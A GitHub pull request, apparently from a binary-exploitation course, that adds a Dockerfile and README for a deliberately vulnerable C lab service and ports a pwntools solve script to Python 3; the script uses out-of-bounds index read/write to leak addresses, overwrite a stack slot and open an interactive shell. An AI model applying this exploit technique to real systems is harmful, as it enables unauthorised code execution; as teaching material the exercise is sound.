Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Dockerfile for chapters/mitigations-and-defensive-strategies, 01-… #52

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# Stage 1: Build Stage
FROM gcc:latest AS build

WORKDIR /app

COPY rwslotmachine1.c .

# Compile the C code into an executable
RUN gcc -Wall -Wextra -O2 -o rwslotmachine1 rwslotmachine1.c

# Stage 2: Runtime Stage
FROM ubuntu:latest

WORKDIR /app

COPY --from=build /app/rwslotmachine1 /app/rwslotmachine1

EXPOSE 31344

# Run the application
CMD ["./rwslotmachine1"]
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
## Building and running

1. Build the Dockerfile
```bash
docker build -t ransomware1 .
```

2. Run the Dockerfile
```bash
docker run -it -p 31344:31344 ransomware1
```

Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
from pwn import *

local = False
local = True
# Both solutions work against the Docker container instance.
# Only solution 2 works locally.
# Solution 1 fails on the local machine because there is no valid address at that index.
Expand All @@ -13,21 +13,23 @@


def do_read(idx):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("]: ")
return int(p.recvuntil("\n")[:-1], 16)
p.recvuntil(b">")
p.sendline(b"1")
p.recvuntil(b"index:")
p.sendline(str(idx).encode())
p.recvuntil(b"]: ")
leak = p.recvline().strip()
print(f"Raw Leak: {leak}")
return int(leak, 16)


def do_write(idx, value):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("index:")
p.sendline(str(idx))
p.recvuntil("value:")
p.sendline(hex(value))
p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b"index:")
p.sendline(str(idx).encode())
p.recvuntil(b"value:")
p.sendline(hex(value).encode())


if SOLUTION == 1:
Expand All @@ -45,4 +47,4 @@ def do_write(idx, value):

do_write(-8, stack_slots)

p.interactive()
p.interactive()